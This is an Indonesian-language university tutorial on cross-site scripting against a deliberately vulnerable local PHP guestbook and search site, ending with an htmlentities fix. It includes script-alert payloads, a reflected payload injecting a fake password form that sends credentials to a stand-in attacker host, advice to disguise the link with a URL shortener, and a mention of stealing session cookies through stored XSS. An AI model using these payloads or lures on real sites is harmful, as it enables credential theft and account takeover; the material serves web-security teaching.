Kategori
Security

Teknik Cross Site Scripting

Sebelum mempelajari teknik XSS ini sebaiknya anda mempelajari dasar teori tentang xss pada link berikut : https://miqbal.staff.telkomuniversity.ac.id/cross-site-scripting-xss/

Teknik ini merupakan bagian kedua dari keamanan web, sebelumnya telah membahas tentang sql injection dapat dilihat pada link berikut : https://miqbal.staff.telkomuniversity.ac.id/teknik-sql-injection/, sementara dasar teori dari web security dapat di klik pada berikut : https://miqbal.staff.telkomuniversity.ac.id/keamanan-web-web-security/

Prerequisite

Pada kesempatan kali ini dibuat skema database dengan menggunakan xampp dengan layanan yang dibutuhkan adalah apache server dan database mariaDB (MySQL).

Buat database dengan nama “xss“, dapat menggunakan terminal atau phpmyadmin.

Sebelum melakukan injeksi terlebih dahulu kita membuat database dummy, dengan cara mengunduh pada link berikut :

databasexss

File yang telah didownload kemudian di ekstrak dan diletakkan pada folder C:\xampp\htdocs , sehingga

Sementara untuk mengkoneksikan antara php dengan dengan mysql dapat menggunakan perintah mysqli_connect. Jika masih belum sesuai dapat dikustomisasi sesuai keinginan termasuk user dan pass yang masih default dari MySQL nya. Filenya berada di koneksi.php

Import Database

Agar tidak membuat program dari awal, kami sertakan file untuk mempermudah proses pembelajaran. Didalam folder xss yang telah diberikan, import file db.sql pada phpmyadmin

Pastikan setelah di impor, ada keterangan sukses dan terdiri dari 3 tabel, yaitu guestbook, post dan user, dapat dilihat pada gambar dibawah

Jalankan webnya dengan subdomain xss, pada browser dapat dibuka link localhost/xss atau 127.0.0.1/xss. Pada tahap ini jika masih terdapat error kemungkinan terbesar adalah belum terhubungnya antara apache server dengan database.

Bagian ini hanya proses untuk membuat sistem server dan database saja, kemudian kita akan melakukan proses cross site scripting nya.

Proses Cross Site Scripting

Iterasi 1

Masukkan inputan pada kolom posting

Hasil tidak tersedia karena memang tidak mengandung kata kamjar pada website tersebut.

Namun yang perlu diperhatikan adalah hasil pencarian kamjar, turut mempengaruhi hasil pada link pencariannya, sehingga dari sini kita dapat mencoba untuk mengetahui apakah sistem tersebut bermasalah atau tidaknya.

Reflected XSS

Lakukan modifikasi pada url dengan menambahkan garis miring/italic pada link pencariannya. ../xss/search.php?q=</i>kamjar</i>

Dengan penambahan tersebut, ternyata mempengaruhi hasil pencarian pada website, tulisan kamjar berubah menjadi garis miring

Kemudian berikan perintah alert pada link diatas dengan cara ../xss/search.php?q=kamjar<script>alert(1234)</script>

Pada hasil diatas terdapat pop up alert dengan keterangan 1234

Dengan adanya celah xss tersebut, sehingga memungkinkan untuk membuat form pengisian user yang bersifat dummy kepada orang lain, yang berisi username dan password pada link tersebut. Sehingga orang lain yang tidak paham akan memberikan informasi tersebut kepada kita.

../xss/search.php?q=kamjar<form action="http://situsattacker.org">Please Enter Your Password : <input type>="password"><input type="submit"></form>

Dari hasil diatas sebagai orang awam akan merasa bahwa link tersebut benar karena link berada pada web resmi, sehingga secara tidak sadar akan memasukkan password yang diminta, sementara password yang diberikan korban akan dikirimkan ke situs yang berbeda. Agar tidak curiga dapat menggunakan shorten link seperti bitly.

Teknik seperti ini disebut dengan reflected xss

Stored XSS

Selain menggunakan teknik reflected dapat juga menggunakan teknik stored xss, dengan memanfaatkan celah dari menu guestbook.

Pada celah yang sama, kita dapat memberikan fungsi alert pada kotak pesan.

Hasil

Dengan cara seperti ini, siapa saja orang lain yang masuk ke dalam Guestbooknya situs tersebut akan selalu mendapatkan alert yang sama. Dengan cara seperti ini kita dapat memanfaatkan juga untuk mendapatkan session/cookies dari seseorang, sehingga kita dapat masuk sebagai siapa saja bahkan admin itu sendiri.

Di halaman phpmyadmin, terlihat script yang telah kita berikan tadi.

Solusi

Dengan membuka file gb.php pada folder xss

dengan menambahkan htmlentities

Sehingga akan memberikan hasil sebagai berikut

Hasil yang diperoleh penyerang tidak lagi dapat menggunakan fungsi html editing lagi, yang keluar hanya plaintext biasa. 

Selamat mencoba dan semoga berhasil

Ref : [1][2]